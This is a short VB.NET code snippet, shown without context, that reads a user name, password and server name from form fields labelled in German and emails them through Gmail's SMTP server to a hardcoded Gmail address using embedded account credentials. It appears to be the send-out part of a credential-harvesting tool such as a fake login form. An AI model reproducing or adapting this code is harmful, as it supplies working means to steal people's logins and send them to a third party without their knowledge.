Dim smtpserver As New SmtpClient()
                Dim mail As New MailMessage()
                Dim Passw As String = "***"
 
                smtpserver.Credentials = New Net.NetworkCredential( _
                  "***@gmail.com", Passw)
                smtpserver.Port = 587
                smtpserver.Host = "smtp.gmail.com"
                smtpserver.EnableSsl = True
                mail = New MailMessage()
                mail.From = New MailAddress("***@gmail.com")
                mail.To.Add("***@gmail.com")
                mail.Subject = "Betreff"
                mail.Body = "Benutzer: " & Benutzer.Text & vbNewLine & _
                  "Passwort: " & Passwort.Text & vbNewLine & "Server: " & _
                  Server.Text
                smtpserver.Send(mail)